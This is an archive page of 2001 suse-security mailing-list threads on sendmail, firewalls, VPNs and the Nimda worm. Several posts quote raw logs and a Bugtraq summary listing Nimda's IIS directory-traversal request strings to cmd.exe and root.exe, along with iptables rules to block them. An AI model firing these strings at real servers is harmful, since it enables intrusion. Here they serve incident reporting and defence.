Richard, Thanks for the hint. It is indeed /sbin/conf.d/SuSEconfig.kdm2 that causes the file to revert when it copies stuff from /opt/kde2/share/config/SuSE/config/ But I think kcontrol is the guilty party; it is either bad design or a bug which causes it to save user customisations in /opt rather than /etc . Bob On Fri, 21 Sep 2001, Richard Witt wrote: > Bob Vickers wrote: > > > > > I believe that the settings revert when I install other software; perhaps > > when SuSEconfig runs. > > > > > Hello Bob, > > I have encountered a problem similar to your in the past (although it > was on a SuSE 7.0 system). If I remember correctly, it was indeed due > to SuSEconfig. On my system, the related scripts are in /sbin/conf.d. > You should look at SuSEconfig.kdm or SuSEconfig.kdm2. > > > Hope this helps, > Richard > > -- > << "They that can give up essential liberty, >> > << to purchase a little temporary safety, >> > << deserve neither liberty nor safety." >> > -- Benjamin Franklin > > ---***---***---***---***---***---***---***---***---***---***---***--- > Richard Witt Phone: (330) 672-0096 > Dept. of Physics, Kent State University Email: witt(a)cnr2.kent.edu > ---***---***---***---***---***---***---***---***---***---***---***--- > > ============================================================== Bob Vickers R.Vickers(a)cs.rhul.ac.uk Dept of Computer Science, Royal Holloway, University of London WWW: http://www.cs.rhul.ac.uk/home/bobv Phone: +44 1784 443691

1 0

RE: [suse-security] Sendmail
by Wilhelm Tesnaar 21 Sep '01

21 Sep '01

Hi all I am having a problem with allowing a user relaying off my sendmail server/firewall. How can I configure my mail server to allow relaying of mail for a specific user without it being open to the whole world for relaying ? This user roams a lot around the world so Ip's are noit static? I am running standard Suse linux 7.1 Help I am desperate! Regards Willie Tesnaar Regards Willie Tesnaar

8 7

Re: [suse-security] Sendmail
by Annette Jaekel 21 Sep '01

21 Sep '01

Sorry, my last posting goes only to Wilhelm itself. This is my answer: Wilhelm Tesnaar wrote: > >> You wrote, Your mail server is on a firewall? >> Substantiate the problem please. > > Sorry, the error message comes from sendmail under the /var/log/mail file > where it is saying Relaying denied. > I have added the user under access.db, the domain, everything I have tried. > The only time it works, is where I place the Ip address of the user in > there. > ... I had a short discussion with another postmaster about Your problem. We agreed, that the entry of the mail address in Your access.db should allow the relaying. Sorry for another dump question: Did you "makemap" the access.db? And: Did You try to write a finer version of entry: From: user(a)unique.domain RELAY It should work since SuSE 7.1's sendmail with "From:" and "To:" specification. Another 2 proposals: 1) Maybe You should try to enable a sendmail feature for sendmail.cf: FEATURE(`delay_checks') You have to recreate sendmail.cf with "m4" from an .mc file with the above feature. follows description of delay_checks from sendmails cf-README: delay_checks The rulesets check_mail and check_relay will not be called when a client connects or issues a MAIL command, respectively. Instead, those rulesets will be called by the check_rcpt ruleset; they will be skipped under certain circumstances. See "Delay all checks" in "ANTI-SPAM CONFIGURATION CONTROL". 2) You can use SMTP AUTH, recommended sometimes in this thread. My information about SMTP AUTH for sendmail is: Since SuSE 7.1 there is a package in "sec": sendmail-tls Substitute standard sendmail package with this one, You get support for TLS and SMTP AUTH. Annette ... > > Regards > Willie Tesnaar

1 0

Recommended cookie suppression extension for Squid?
by Ralph Seichter 21 Sep '01

21 Sep '01

Morning... I have used WebWasher for cookie suppression for quite some time now, and I think it is a great product. Alas, I want to try Squid as a combined filter/cache, so I am looking for a similar feature to handle cookies based on flexible rules. Internet searches returned Squid extensions like "adzap" ( http://www.zip.com.au/~cs/adzap/ ). What tool do *you* prefer for Squid cookie suppression? BTW, I consider this security related because I don't like the idea of being watched and measured by a trail of cookies, but if there's a different mailing list you suggest for this kind of topic, please point me to it. Thank you. Mit freundlichen Grüssen / Regards Dipl. Inform. Ralph Seichter ISC Informatik Service & Consulting GmbH Tel +49 2241 867-0 mailto:r.seichter@isc-inf.com Fax +49 2241 867-222 http://www.isc-inf.com/

1 0

nfs on susefirewall2
by Purple Shirt 21 Sep '01

21 Sep '01

Hello, I have a working nfs server on susefirewall2 box (suse 7.2). I know its working because I put the firewall on unprotect status. If I put it on protect status for internal I can't mount internally. I put this into susefirewall2.rc.config: # Common: ssh smtp domain FW_SERVICES_INT_TCP="smtp domain ftp ssh www telnet 111 139 2049" # Common: domain syslog FW_SERVICES_INT_UDP="111 2049" # For VPN/Routing which END at the firewall!! FW_SERVICES_INT_IP="" This o[pens up portmap and nfs server ports, 111 and 2049. But it doesn't work. Maybe the firewall script should contain more options as: FW_SERVICE_DNS="no" FW_SERVICE_DHCLIENT="no" FW_SERVICE_DHCPD="yes" FW_SERVICE_SQUID="yes" FW_SERVICE_SAMBA="yes" as in FW_SERVICE_NFS FW_SERVICE_NTPD ... ... Well I'd appreciate comments on how to make suse's firewall work with nfs. Thanks, mk _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

1 0

things bouncing
by jfweber＠eternal.net 21 Sep '01

21 Sep '01

*******Where does a newborn go from here? The net is vast , and infinite********* Hey guys, mail to this list seems to be generating bounced messages some alegedly from amil servers caliming I am infected w/ the wurm under discussion the past couple of days! ** From: Postmaster(a)rectus.de ** To: jfweber(a)eternal.net ** Subject: Content Warning from MailScan to Mail-Sender! ** ** The following email you sent was not delivered to the recipient(s) ** as it had restricted contents inside it. ** ** The restricted content present was: readme.exe ** ** ========================================================== ** The Mail came from : jfweber(a)eternal.net ** The Mail recipient : seibold(a)rectus.de ** Subject of the Mail : Re: [suse-security] Nimda Worm - BugTraq ** Message-ID : <E15k7cH-0007e3-00(a)dfw-mmp3.email.verio.net> ** ** The Mail had following attachments: ** ========================================================== obviously it had no attachments so someone has a really tight squeeze on thier incoming... but it is going to casue a lot of problems if things keep bouncing... Blondely, j afterthought: "Never trust a dog to watch your food." Patrick, age 10

3 2

authldap and apache
by alois blasbichler 20 Sep '01

20 Sep '01

hello, i have a question i have The suse Email server II with apache 1.3.12-128 and openldap1.2.12-3 and the module authldap 1.4.3-15 authldap works fine with the parameter: require valid-user but with the parameter: require group cn=beispiel it does not work in the error log of apache i seee the error: user bind as uid=aa, dc=domain, dc=it failed: LDAP error:invalid credentials: URI /directory/ it seems that the password ist incorrect but it isnt can someone help me alois

2 1

[suse-security] Hack-Attack?
by Markus Kohli 20 Sep '01

20 Sep '01

Hi list! A stupid question of mine again... I already searched the internet, but didn't find any suitable information. I had the following entry in my firewall-log: Sep 20 22:32:04 memphis kernel: Packet log: rulchain REJECT eth0 PROTO=6 195.217.171.5:3675 xx.x.x.xx:80 L=44 S=0x10 I=38515 F=0x4000 T=106 SYN (#6) Sep 20 22:32:06 memphis kernel: Packet log: rulchain REJECT eth0 PROTO=6 195.217.171.5:3675 xx.x.x.xx:80 L=44 S=0x10 I=32117 F=0x4000 T=106 SYN (#6) Since I'm on a Cable-Internet, the second address, i.e. the destination, is an internal address. Am I wrong in suspecting that the possible suspect has come from inside that "internal" network? How else should he have got that IP? Plus, what port is that, he's coming from? TIA Markus

2 3

nimda and squid
by Tilo Riemer 20 Sep '01

20 Sep '01

hello, I tried to activate blocking of nimda files (*.eml) via squid. but squid did not block any elm-file. I tested it with squid coming qith suse 6.3 and with the newest swuid from suse for suse 7.0. the same config file works with the current squid on a freebsd box, and I heard that squid also works on some debian boxes. cu, Tilo

6 6

things bouncing
by jfweber＠eternal.net 20 Sep '01

20 Sep '01

*******Where does a newborn go from here? The net is vast , and infinite********* Hey guys, mail to this list seems to be generating bounced messages some alegedly from amil servers caliming I am infected w/ the wurm under discussion the past couple of days! ** From: Postmaster(a)rectus.de ** To: jfweber(a)eternal.net ** Subject: Content Warning from MailScan to Mail-Sender! ** ** The following email you sent was not delivered to the recipient(s) ** as it had restricted contents inside it. ** ** The restricted content present was: readme.exe ** ** ========================================================== ** The Mail came from : jfweber(a)eternal.net ** The Mail recipient : seibold(a)rectus.de ** Subject of the Mail : Re: [suse-security] Nimda Worm - BugTraq ** Message-ID : <E15k7cH-0007e3-00(a)dfw-mmp3.email.verio.net> ** ** The Mail had following attachments: ** ========================================================== obviously it had no attachments so someone has a really tight squeeze on thier incoming... but it is going to casue a lot of problems if things keep bouncing... Blondely, j afterthought: "Never trust a dog to watch your food." Patrick, age 10

1 0

Re: [suse-security] Nimda Worm - BugTraq
by Milan Goellner 20 Sep '01

20 Sep '01

>** is that true ? the readme executes without being explicitly opened? >** >** thank > >yes it's true >also it can getcha if you go tot a webpage that has been haxored by >these guys... all w/o your permission or even knowledge ( i.e. it >doesn't ask it just does it ) Only when using IE5.x without SP2 for any of the IE5.x Versions though. IE5.x's with their respective SP2s, IE4 and IE6 ask the user whether he/she would like to open or execute the javascript which gets you your personal copy of Nimda. The same principal applies to your readme.exe in your mail ... IE5.x without SP2 simply executes, all other IE's ask. If the user now hits YES ... you'll end up with some major extra hours cleaning your systems. Mit freundlichen Grüßen / Kind Regards Milan Goellner Network Technician ---------------------------------------------------------------- Compu-Shack Electronic GmbH Ringstrasse 56-58 56564 Neuwied Germany Telefon +49/(0) 26 31-9 83-962 Email milan.goellner(a)compu-shack.com http://www.compu-shack.com

2 1

RE: [suse-security] port based routing
by Andreas Achtzehn 20 Sep '01

20 Sep '01

> From: Vicente Arteaga [mailto:varteaga@competitiveness.com] > > You can masquerade incoming packets to port 22 of your ISDN > line, to your server. > > Automaticaly, the server will get replies and send them back > through the ISDN line. > Dear Vicente, thank you for your answer first. But what would I have to do to masquerade the connection? What would the commands for a SuSE 7.2 based system look like? The routing table looks like this right now: 1.2.3.4 0.0.0.0 255.255.255.255 UH 0 0 0 ippp0 (static IP) 1.2.3.5 0.0.0.0 255.255.255.255 UH 0 0 0 ippp0 (static IP - Gateway provider) 1.2.3.6 0.0.0.0 255.255.255.255 UH 0 0 0 ippp0 (static IP of outside server) 192.168.200.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 0.0.0.0 192.168.200.240 0.0.0.0 UG 0 0 0 eth0 The iptables rules look like this right now: iptables -t nat -A POSTROUTING -s 192.168.200.0/24 -j MASQUERADE -o ippp0 (masquerade connections to the outside world) iptables -A INPUT -s ! 192.168.200.0/24 -p tcp --destination-port 110 -j REJECT (deny connections to POP from outside) iptables -A INPUT -s ! 192.168.200.0/24 -p tcp --destination-port 6000 -j REJECT (deny connections to XServer from outside) iptables -A INPUT -s 192.168.200.0/24 -p tcp --destination-port 111 -j ACCEPT (allow connections to NFS from inside) iptables -A INPUT -s 1.2.3.6 -p tcp --destination-port 111 -j ACCEPT (that's a server in the outside world that I connect via NFS) iptables -A INPUT -p tcp --destination-port 111 -j REJECT (allow outside world to connect NFS) Would adding the following rule be sufficient? iptables -t nat -A POSTROUTING -s ! 1.2.3.6 -j MASQUERADE -o eth0 Thanks in advance! Andreas -- /------------------------------------------\ | the linux-society Andreas Achtzehn| | visit us at www.linux-society.de| | or call (+49)179-4948706| \------------------------------------------/

1 0

port based routing
by Andreas Achtzehn 20 Sep '01

20 Sep '01

Hello everybody! For a server I need the following feature: I have two dedicated lines connected to it. One is ISDN-based (64 kbit/s) the other is a DSL-line (768 kbit/s downstream). The ISDN-line has a static IP, the DSL-line's IP is dynamic. In order to connect the server from the outside world I need kind of a port based routing. Following example: The server has a SSH-server running. I want to connect the server over the ISDN-line (I don't know the DSL IP). The server receives my connection packets and tries to return packets. Those packets are sent over the DSL-line, since it's the default gateway. This way the connection fails. What I need is kind of a port based router. If the server tries to send packets coming from port 22 (SSH) it has to use the ISDN line. Is it possible to do this in any way? Regards, Andreas -- /------------------------------------------\ | the linux-society Andreas Achtzehn| | visit us at www.linux-society.de| | or call (+49)179-4948706| \------------------------------------------/

2 1

WEB IIS cmd exe requests
by Togan Muftuoglu 20 Sep '01

20 Sep '01

Hi, I thought Code RED was slowing down :-( Other then getting the regular GET "default.ida" requests I have been logging things like this for the last two hours from different IP's. 1) Anyone else getting similar things or is me ? 2) Is it worth to bother sending these logs to the provider of the ip's ? TIA Sep 18 16:50:26 gardiyan snort: WEB-IIS cmd.exe access [Classification: Attempted User Privilege Gain Priority: 8]: 212.209.96.133:3317 -> 212.174.50.248:80 Sep 18 16:50:26 gardiyan snort: WEB-IIS cmd.exe access [Classification: Attempted User Privilege Gain Priority: 8]: 212.209.96.133:3317 -> 212.174.50.248:80 Sep 18 16:50:39 gardiyan last message repeated 3 times ::ffff:212.209.96.133%134580160 - - [18/Sep/2001:16:50:12 +0300] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:13 +0300] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:14 +0300] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:15 +0300] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:16 +0300] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:16 +0300] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:17 +0300] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:18 +0300] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:18 +0300] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:19 +0300] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:20 +0300] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:24 +0300] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:24 +0300] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:25 +0300] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:26 +0300] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" ::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:26 +0300] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" -- Togan Muftuoglu

10 12

Re: [suse-security] router / ipchains
by Markus Gaugusch 20 Sep '01

20 Sep '01

> would a proxy server not be more appropriate in this situation? it just wouldn't help (enough) . if firewall and other pc's are in the same subnet, only bridging can help. It should be like this: Internet->Firewall->PC's But it is like |>PC1 |>PC2 |>PC3 |>... Internet->| | | |>Firewall They are in parallel, so the firewall can't filter the packets for the PC's. A proxy would make it more secure, but not enough. -- _____________________________ /"\ Markus Gaugusch ICQ 11374583 \ / ASCII Ribbon Campaign markus(a)gaugusch.dhs.org X Against HTML Mail / \

1 0

IPSEC - WIN2000
by Schulz, Wolfgang 20 Sep '01

20 Sep '01

Hello! We are using IPSEC (on SuSE 7.0) already for a VPN to another location of our company. I would like to setup the IPSEC gateway also to handle road warriors which are using Win2000 machines. I read that - PGPnet is not available for Win2000 - version 1.4 of IPSEC (which is on the 7.0 distribution) should be patched to work with PGPnet. Are both statements correct? Does anyone have experiences with other ipsec clients than PGPnet for Win2000? Which are available for Win2000? Which are recommended for Win2000? Thanks Wolfgang

2 1

Antwort: [suse-security] router / ipchains
by christian.burri＠synecta.ch 20 Sep '01

20 Sep '01

I suggest you talk to your ISP about giving your DSL router an IP- Address outside of your Network. This way the DSL router would have its external interface on that "outside" subnet. I would suggest a private range IP for the DSL router's internal IF. 10.X.X.X or so. The FW gets a 10.X.X.X on its external, and the DSL router must be configured to route traffic for your subnet to the FW's external IF. The Firewall routes all outbound traffic (default route) to the DSL router. The FW's internal IF must be part of your subnet, and that interface is then the default gateway for your network. Your ISP needs to give your DSL router an IP outside of your Subnet for this to work, tho. HTH Chr. Burri .-. /v\ L I N U X // \\ >I know Kung Fu!!< /( )\ ^^-^^ Hi all! I want to protect our network with a firewall that should run on a SuSE machine (kernel 2.2 stable). There is a router that provides a permantent DSL connection to the net. Normaly this router is the gateway for all machines on the local net - but not I want to put a firewall between. The network has official ip addresses and all machines shall use these, which means that I do not want to have masquerading. So I have put the firewall machine between router and local net. I have switched on ip_forwarding and - for testing - have set up all ipchains to ACCEPT. Now it should route/forward everything, yes? But it doesn't. I can ping the firewall machine both from outside and from inside. But I cannot reach another host in the network from outside (and the other way around). When I try to ping a host in the network from outside I get a answer from my dsl router that this host is not reachable. Maybe the problem is here, I don't know... Do you have an idea? Thanx a lot! Michael -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

1 0

ipchains code for strings (from: Re: [suse-security] WEB IIS cmd exe requests)
by Fluffy Bananachunks 19 Sep '01

19 Sep '01

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday 18 September 2001 10:27 am, you wrote: > I have this for the older ones: > $IPTABLES -I INPUT -p tcp --dport 80 -m string --string .ida -m state > --state ESTABLISHED -j REJECT --reject-with tcp-reset After searching google and man, I'm guessing that there's no equivalent for ipchains, and that a second tool such as Snort or the like would need to be used in my case...? TIA geo -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7qHIXo2oOGEnz8fYRAgViAJ0SwBbTHUzRDbP78ef76/8xh1NpBgCgtxbR Z9CDeyCVfKvJ4wgImLANIQo= =xk6Y -----END PGP SIGNATURE-----

5 4

Nimda Worm - BugTraq
by Sp0oKeR 19 Sep '01

19 Sep '01

Hey, We have been receiving reports of a new worm from a large number of users. Instead of deluging BUGTRAQ with traffic more appropriate for INCIDENTS, we are posting a summary of the worm and the vulnerabilities it exploits: A new worm named W32/Nimda-A (known aliases are Nimda, Minda, Concept V, Code Rainbow) began to proliferate the morning of September 18, 2001 on an extremely large scale that targets the Microsoft Windows platform. It attempts to spread via three mechanisms; as an email attachment, a web defacement download, and through exploitation of known IIS vulnerabilities. Collateral damage include network performance degradation due to high consumption of bandwidth during the propagation process. There have been reports of Apache Servers being inadvertantly affected by Nimda by being subjected to a denial of service condition (the configuration of these servers is not known). This worm takes advantage of multiple vulnerabilities and backdoors. The worm spreads via e-mail and the web. Through the e-mail vector, the worm arrives in the users inbox as a message with a variable subject line. The e-mail contains an attachment named 'readme.exe'. This worm formats the e-mail in such a way as to take advantage of a hole in older versions of Internet Explorer. Outlook mail clients use the Internet Explorer libraries to display HTML e-mail, so by extension Outlook and Outlook Express are vulnerable as well, if Internet Explorer is vulnerable. The hole allows the readme.exe program to execute automatically as soon as the e-mail is previewed or read. Once it has infected a new victim, it mails copies of itself to other potential victims, and begins scanning for vulnerable IIS Web servers. When scanning for vulnerable IIS servers, it attempts to exploit the Unicode hole (bid 1806) and the escaped characters decoding command execution vulnerability (bid 2708). It also attempts to access the system via the root.exe backdoor left by Code Red II. Once it finds a vulnerable IIS server, it installs itself in such a way that visitors to the now-infected web site will be sent a copy of a .eml file, which is a copy of the e-mail that gets sent. If the victim is using Internet Explorer as their browser, and they are vulnerable to the hole, they will execute the readme.exe attachment in the same way as if they had viewed an infected e-mail message. Attack Data: Examination of the worm reveals the following attack strings used to exploit IIS Web servers. '/scripts/..%255c..' '/_vti_bin/..%255c../..%255c../..%255c..' '/_mem_bin/..%255c../..%255c../..%255c..' '/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%' '/scripts/..%c1%1c..' '/scripts/..%c0%2f..' '/scripts/..%c0%af..' '/scripts/..%c1%9c..' '/scripts/..%%35%63..' '/scripts/..%%35c..' '/scripts/..%25%35%63..' '/scripts/..%252f..' To those strings are added /winnt/system32/cmd.exe?/c+dir Other attacks include: '/scripts/root.exe?/c+dir' '/MSADC/root.exe?/c+dir' It is believed that all of the vulnerabilities exploited by this worm are known. The links below provide fix information. Administrators and users are advised to apply patches as soon as possible. If further analysis concludes that other vulnerabilities are involved, updated information will be posted to the list. See: Bugtraq ID: 2524 / CVE ID: CAN-2001-0154 Microsoft Security Bulletin MS01-020 http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security… ulletin/MS01-020.asp VulDB: http://www.securityfocus.com/bid/2524 Bugtraq ID: 2708 / CVE ID: CAN-2001-0333 Microsoft Security Bulletin MS01-026 http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security… ulletin/MS01-026.asp VulDB: http://www.securityfocus.com/bid/2708 Bugtraq ID: 1806 / CVE ID: CVE-2000-0884 Microsoft Security Bulletin MS00-078 http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security… ulletin/MS00-078.asp http://www.securityfocus.com/bid/1806 Microsoft IIS Lockdown Tool: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsoluti… s/security/tools/locktool.asp References: Symantec W32.Nimda.A@mm http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html McAfee W32/Nimda@MM http://vil.nai.com/vil/virusSummary.asp?virus_k=99209 Sophos W32/Nimda-A http://www.sophos.com/virusinfo/analyses/w32nimdaa.html For discussion of infection or attack attempts, subscribe to the INCIDENTS mailing list. For discussion of the worm itself and others, FORENSICS and FOCUS-VIRUS are more appropriate than BUGTRAQ. --- Dave Ahmad Security Focus www.securityfocus.com -------------------------------------------------------

4 3

Re: [suse-security] IPSEC - WIN2000
by michael.ryan＠storm.ie 19 Sep '01

19 Sep '01

I use SafeNet/Soft-PK v5.1 for my W2K Pro laptop users to allow them establish secure VPN connections to a SuSE 6.4 gateway running FreeS/WAN 1.4 It's pretty reliable once you manage to get it configured. Regards, Michael "Schulz, Wolfgang" To: "SUSE (E-Mail)" <suse-security(a)suse.de> <W.Schulz@ove cc: .at> Subject: [suse-security] IPSEC - WIN2000 09/19/2001 03:58 PM Hello! We are using IPSEC (on SuSE 7.0) already for a VPN to another location of our company. I would like to setup the IPSEC gateway also to handle road warriors which are using Win2000 machines. I read that - PGPnet is not available for Win2000 - version 1.4 of IPSEC (which is on the 7.0 distribution) should be patched to work with PGPnet. Are both statements correct? Does anyone have experiences with other ipsec clients than PGPnet for Win2000? Which are available for Win2000? Which are recommended for Win2000? Thanks Wolfgang -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

1 0

Re: Re: [suse-security] hacker attack ?
by Gero Lindenblatt 19 Sep '01

19 Sep '01

Hi Andy, > hi gero, > > please post the content of MDACSET.log here it is: its quite strange. pam:/home/[my dir] # cat MDACSET.log Let's get out of here 2.1 already installed _______________________________________________________________________ 1.000.000 DM gewinnen - kostenlos tippen - http://millionenklick.web.de IhrName(a)web.de, 8MB Speicher, Verschluesselung - http://freemail.web.de

4 3

RE: [suse-security] hacker attack ?
by Michael Sziede 19 Sep '01

19 Sep '01

Hi all. I'm on SuSE 7.1. That dialin.net address looked familiar: ------------- Sep 10 00:54:56 tdscom1 ftpd[23742]: ACCESS DENIED (not in any class) TO pD9553692.dip.t-dialin.net [217.85.54.146] Sep 10 00:54:56 tdscom1 ftpd[23742]: FTP LOGIN REFUSED (access denied) FROM pD9553692.dip.t-dialin.net [217.85.54.146], anonymous Sep 11 21:52:40 tdscom1 ftpd[9539]: ACCESS DENIED (not in any class) TO p3EE2182D.dip.t-dialin.net [62.226.24.45] Sep 11 21:52:40 tdscom1 ftpd[9539]: FTP LOGIN REFUSED (access denied) FROM p3EE2182D.dip.t-dialin.net [62.226.24.45], anonymous ------------- Coincidence? Michael B. Sziede Lead Programmer/Analyst TRX Data Services 1477 Chain Bridge Rd., Ste 201 McLean, VA 22101 USA Office: 703-748-3162 x210 Fax: 703-748-3167 email: michael.sziede(a)trx.com -----Original Message----- From: Gero Lindenblatt [mailto:gerol@web.de] Sent: Wednesday, September 19, 2001 10:01 AM To: suse-security(a)suse.com Subject: [suse-security] hacker attack ? Hi, my system is SuSE 7.2. i was shocked today when i saw a file in my homedir called MDACSET.log. It's content is : ------- Lets get out of here. 2.1 already instlled. ------ In my /var/log/messages i could read --- Sep 4 15:55:42 pam proftpd[4981]: pam.[mydomain] (pD9E2C451.dip.t-dialin.net[217.226.196.81]) - Complex path, will rename /.in.MDACSET.log. to /MDACSET.log. --- is this a backdoor or something or just a file from a windows system which was ftped onto my server ? _I_ never puhsed this file up... thanks a lot Gero _______________________________________________________________________ 1.000.000 DM gewinnen - kostenlos tippen - http://millionenklick.web.de IhrName(a)web.de, 8MB Speicher, Verschluesselung - http://freemail.web.de -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

1 0

hacker attack ?
by Gero Lindenblatt 19 Sep '01

19 Sep '01

Hi, my system is SuSE 7.2. i was shocked today when i saw a file in my homedir called MDACSET.log. It's content is : ------- Lets get out of here. 2.1 already instlled. ------ In my /var/log/messages i could read --- Sep 4 15:55:42 pam proftpd[4981]: pam.[mydomain] (pD9E2C451.dip.t-dialin.net[217.226.196.81]) - Complex path, will rename /.in.MDACSET.log. to /MDACSET.log. --- is this a backdoor or something or just a file from a windows system which was ftped onto my server ? _I_ never puhsed this file up... thanks a lot Gero _______________________________________________________________________ 1.000.000 DM gewinnen - kostenlos tippen - http://millionenklick.web.de IhrName(a)web.de, 8MB Speicher, Verschluesselung - http://freemail.web.de

2 1

WEB IIS cmd exe requests
by webmaster 19 Sep '01

19 Sep '01

Hi list, May I ask you to write how that rejecting is with ipchains? Antal

3 2

Re: [suse-security] WEB IIS cmd exe requests
by Togan Muftuoglu 19 Sep '01

19 Sep '01

Hi Dove, I am sending the reply to the list as it was the palce you wanted it to go I believe, As sending to me only is probably not what you wanted :-) Please do not CC me as I am on the list. -- Togan Muftuoglu * dove; <dove(a)freemail.absa.co.za> on 19 Sep, 2001 wrote: > > * teo(a)gecadsoftware.com; <teo(a)gecadsoftware.com> on 18 Sep, 2001 wrote: > > > I have this for the older ones: > > > $IPTABLES -I INPUT -p tcp --dport 80 -m string --string .ida -m state > > > --state ESTABLISHED -j REJECT --reject-with tcp-reset > > > > > > I guess we can just add another one for cmd.exe in place of `.ida'. > > hi, could someone please send me the source for the strings module and a question : is this type of filtering allright for production systems ? doVe

3 3

FW: CERT Advisory CA-2001-26
by José Luis Ledesma 19 Sep '01

19 Sep '01

... José Luis Ledesma Technology _________________________ COMPETITIVENESS Technology Park Valles 08290 Barcelona - Spain Tel.: +34 935 820 159 Fax: +34 935 820 159 -----Original Message----- > From: CERT Advisory [mailto:cert-advisory@cert.org] > Sent: miércoles 19 de septiembre de 2001 1:32 > To: cert-advisory(a)cert.org > Subject: CERT Advisory CA-2001-26 > > > > -----BEGIN PGP SIGNED MESSAGE----- > > CERT Advisory CA-2001-26 Nimda Worm > > Original release date: September 18, 2001 > Source: CERT/CC > > A complete revision history is at the end of this file. > > Systems Affected > > * Systems running Microsoft Windows 95, 98, ME, NT, and 2000 > > Overview > > The CERT/CC has received reports of new malicious code > known as the > "W32/Nimda worm" or the "Concept Virus (CV) v.5." > This new worm > appears to spread by multiple mechanisms: > > * from client to client via email > > * from client to client via open network shares > > * from web server to client via browsing of compromised web sites > > * from client to web server via active scanning for and > exploitation > of the "Microsoft IIS 4.0 / 5.0 directory traversal" > vulnerability > (VU #111677) > > * from client to web server via scanning for the > back doors left > behind by the "Code Red II" (IN-2001-09), and > "sadmind/IIS" > (CA-2001-11) worms > > Initial analysis indicates that the worm contains no > destructive > payload beyond modification of web content to > facilitate its own > propagation. > > We are also receiving reports of denial of service as > a result of > network scanning and email propagation. > > I. Description > > The Nimda worm has the potential to affect both user > workstations > (clients) running Windows 95, 98, ME, NT, or 2000 and > servers running > Windows NT and 2000. > > Email Propagation > > This worm propagates through email arriving > as a MIME > "multipart/alternative" message consisting of two > sections. The first > section is defined as MIME type "text/html", but it > contains no text, > so the email appears to have no content. The second > section is defined > as MIME type "audio/x-wav", but it contains a > base64-encoded > attachment named "readme.exe", which is a binary executable. > > Due to a vulnerability described in CA-2001-06 (Automatic > Execution of > Embedded MIME Types), any mail software running on an > x86 platform > that uses Microsoft Internet Explorer 5.5 SP1 or > earlier (except IE > 5.01 SP2) to render the HTML mail automatically runs > the enclosed > attachment and, as result, infects the machine with the > worm. Thus, in > vulnerable configurations, the worm payload will > automatically be > triggered by simply opening (or previewing) this mail > message. As an > executable binary, the payload can also be triggered by > simply running > the attachment. > > The email message delivering the Nimda worm appears to > also have the > following characteristics: > > * The text in the subject line of the mail message > appears to be > variable, but those seen to date have been over > 80 characters > long. > > * There appear to be many slight variations in the > attach binary > file, causing the MD5 checksum to be different when > one compares > different attachments from different email messages. > However, the > file length of the attachment appears to > consistently be 57344 > bytes. > > Payload > > Infected client machines attempt to send copies of the > Nimda worm via > email to all addresses found in the Windows address book. > > Likewise, the client machines begin scanning for > vulnerable IIS > servers. Nimda looks for backdoors left by previous IIS > worms: Code > Red II [IN-2001-09] and sadmind/IIS worm > [CA-2001-11]. It also > attempts to exploit the IIS Directory Traversal > vulnerability (VU > #111677). The selection of potential target IP addresses > follows these > rough probabilities: > > * 50% of the time, an address with the same first two > octets will be > chosen > > * 25% of the time, an address with the same 